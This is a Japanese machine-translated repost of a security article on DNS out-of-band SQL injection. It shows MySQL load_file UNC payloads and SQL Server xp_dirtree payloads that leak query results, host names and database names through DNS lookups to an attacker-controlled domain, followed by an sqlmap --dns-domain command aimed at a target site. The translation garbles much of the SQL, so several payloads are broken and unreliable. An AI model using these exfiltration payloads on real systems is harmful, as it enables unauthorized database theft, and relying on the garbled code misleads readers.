Jump to content

0x00原因

実際の場合、注射に遭遇しました。 SQLMAPを使用できますが、時間と周波数の制限に基づく注入には、-delayパラメーターの使用が必要です。それは遅延であり、 - 遅延とその他の疲労です。以下のすべての紹介で、SQLMAPを使用してDNSを使用してOOB(バンド)を注入してデータを迅速に出力します。通常、Windows Platform nccgq0pzsa59088.pngにのみ適用されます

0x01シーン

このような注入シナリオに遭遇しましたか? 1.時間の失明、データベース、テーブル、フィールドのコンテンツは非常に大きく、花も薄れています。 2。MySQL5.6+はMySQLIまたはPDO接続法のみを使用でき、PDO接続を使用することをお勧めします。 PDO接続法を使用して複数のステートメントを実行できますが、PDOは最初のSQLステートメントの実行結果のみを返すため、データを直接取得することは一般に不可能であり、目に見えるフィールドまたは睡眠注入を強制されます3。テストはインターセプトしてフィルタリングされず、実行が成功したと感じましたが、返されたデータは受信されませんでした(コマンドを実行できるときにファイルをWebディレクトリに書き込むこともできます)

0x02原則

UNCパスを使用して、指定されたドメイン名を照会します。 DNSチャネルを使用して、DNSサーバーが受信したデータを使用してデータコンテンツをすばやく取得します。 DNSの使用には、ホストネットワークの分離を突破できる特定の利点があります。たとえば、DMZホストは外部ネットワークに直接接続することはできませんが、構成されたネットワークで到達できるDNSサーバーを使用することがよくあります。ドメイン名を再帰的に照会することにより、DNSサーバーはDNSプロトコルを介して返されたデータを取り出すことができます。 UNCパスはWindowsの下の機能であり、そのような関数はデフォルトでインストールされているLinuxの下には存在しません。

フローチャートは次のとおりです。4cbkvzq4gdy9089.png

MySQLはPDOを使用してデータベースブラインドアノテーションをリンクして、成功したかどうかを判断します(通常の注入も参照できます)

select load_file(concat( '//'、(select 2333)、 '。mysql.panokaz.exeye.io/abc'));

select hex( 'select load_file(concat(' //'、(select 2333)、'。mysql.panokaz.exeye.io/abc ');')

セット@x=0x53454C454354204C4F41445F46494C4528434F4E43415428272F272C28553454C4543542027 7465737427292C272E6D7973716C2E70616E6F6B617A2E65786579652E696F2F6162632729293B; @x; execute aからaを準備します。

MySQLの使用シナリオ:adatcczo5rj9090.png国内のDNS再帰を捕まえた上位レベルのDNSサーバーは、360、Tencent、およびALIでした。このようなノードDNSサーバーがあれば、間違いなく恥ずかしがり屋のウェブサイトをたくさん手に入れるでしょう。私はそれについて考えることに少し興奮していました▽≤sqlServerは次の方法を使用できます

@s varchar(5000)、 @host varchar(5000)set @s=(host_name())set @host=convert(varchar(5000)、 @s)+'sqlserver.panokaz.exeye.io'; exec( 'master.xp_dirtree' \\ '+ @host+' \ foobar $ '' '))

SQLServerのシナリオを使用:5y01dfnf30t9091.png

0x03手動テストで遭遇した問題とソリューション

DNSキャッシュがあるため、ドメイン名を要求した後、DNSレコードがローカルマシンで生成され、再帰的に外側にクエリされることはありません。したがって、UNCパスのDNSドメイン名は同じではありません。

UNCパスの長さは長すぎることはありません。から始まる識別子'\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa最大長は128です。UNCパスの最大長は128であることがわかります

UNCパスにはスペースなどの特殊文字を含めることはできません。また、含まれている場合、DNS要求は送信されません。

sqlserverの注入を例にとると、SQLMAPで与えられたソリューションを参照してください

'; @host varchar(1024)を宣言します。

@host='rmy。'+(トップ1 master.dbo.fn_varbintohexstr(cast((isnull(name as nvarchar(4000))、 ''))、1,13)のcast(cast(cast(name as nvarchar))from master.sysdatabase not not not in(select not in)from master.sysdatabase by datisabase datsabase datsabase datsabaseの順に選択されます。 name)+'。nrz.rainism.cc';

exec( 'master.xp_dirtree' \\ '+@host+' \ cckc '') -

ドメイン名にランダムな文字列「RMY」、「NRZ」を追加して、DNSにクエリごとにキャッシュがないことを確認してください

Substring()関数を使用して、毎回特定のビット数のデータを転送します

取得したデータは、master.dbo.fn_varbintohexstr()ストアドプロシージャを使用して16を禁止しています

0x04 OOBインジェクションにSQLMAPのDNSドメインパラメーターを使用

自動化されたツールなしで、このような便利で高速な噴射方法はどうすればいいですか? SQLMAPドキュメントを注意深く読んだ学生は、-DNS-Domainのパラメーターを知っている必要があります。これは、SQLMAP統合におけるOOB注入にDNSを使用する方法です

使用方法:SQLMAPが-DNS-Domainパラメーターを使用すると、ポート53を聴きます。DNSを実行してSQLMAPを実行しているホストにデータを取得するためにデータを取得するためにDNSサーバーをDNSから取得してDNSから取得したデータを取得する必要があります。

DNSサーバーも必要であるため、2つのドメイン名が必要であり、詳細な構成は次のとおりです。

dnsポイントを解析するために、sqlmapを実行するホストIPにドメイン名ns1.xxx.com、ns2.xxx.comを構成します。ここでは、 *ワイルドカード文字を使用して、Aレコードkzi4wvlo03w9092.pngを構成します

ns1.xxx.comおよびNS2.xxx.com 3xq5dm05hyct9093.pngとして、テイクアウトデータのドメイン名のrainism.cc用ドメイン名サーバーを構成します

外部ネットワークのVPSで次のコマンドを実行しますsqlmap.py -u 'http://xoo.com/index.php?id=1*' - random-agent -dns -domain='rainism.cc' -v 3

eojjz5y4bl49094.png

TCPDUMPを使用してポート53を聴くと、返されたデータがわかります。

dctl0f0fce59095.png

元のリンクアドレス:https://MP.Weixin.QQ.com/s/NCVRK6NEB_LDV7MXDXN3VA

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...